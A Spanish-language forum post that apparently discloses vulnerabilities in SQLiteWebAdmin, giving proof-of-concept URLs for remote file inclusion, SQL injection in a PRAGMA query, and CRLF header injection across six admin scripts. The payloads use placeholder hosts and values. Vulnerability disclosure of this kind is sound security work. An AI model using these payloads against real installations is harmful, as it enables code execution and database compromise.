Autor
SQLiteWebAdmin
http://sourceforge.net/projects/sqlitewebadmin
Ellos si se preocupan por la seguridad.. de hecho este codigo es mas organizado.
de todas formas tienen sus bugs
Remote File Inclusion:
Código:
PoC:
http://www.server.com/lib/tpl.inc.php?conf[classpath]=http://www.google.com/?
http://www.server.com/lib/tpl.inc.php?conf[classpath]=http://www.google.com/?
SQLinjection:
Código:
http://www.server.com/table_editfield.php?table='+[SQL]
Este esta en el siguiente contexto:
PRAGMA table_info('$table')
La misma variable, puede ser usada en un bug de "Header Injection"
Código:
PoC:
http://www.server.com/table_editfield.php?table=%0D%0AHeader1:+value
http://www.server.com/table_editfield.php?table=%0D%0AHeader1:+value
Y aqui tambien:
Código:
PoC:
http://www.server.com/table_dropindex.php?table=%0D%0AHeader1:+value
http://www.server.com/table_dropindex.php?table=%0D%0AHeader1:+value
Y aqui:
Código:
PoC:
http://www.server.com/table_dropfield.php?table=%0D%0AHeader1:+value
http://www.server.com/table_dropfield.php?table=%0D%0AHeader1:+value
Y aqui:
Código:
PoC:
http://www.server.com/table_addindex.php?table=%0D%0AHeader1:+value
http://www.server.com/table_addindex.php?table=%0D%0AHeader1:+value
Y aqui:
Código:
PoC:
http://www.server.com/table_addfield.php?table=%0D%0AHeader1:+value
http://www.server.com/table_addfield.php?table=%0D%0AHeader1:+value
Y aqui:
Código:
PoC:
http://www.server.com/database_addtable.php?table=%0D%0AHeader1:+value
http://www.server.com/database_addtable.php?table=%0D%0AHeader1:+value
El mas peligroso es el RFI, los demas.. no tanto..
Saludos!!
En línea
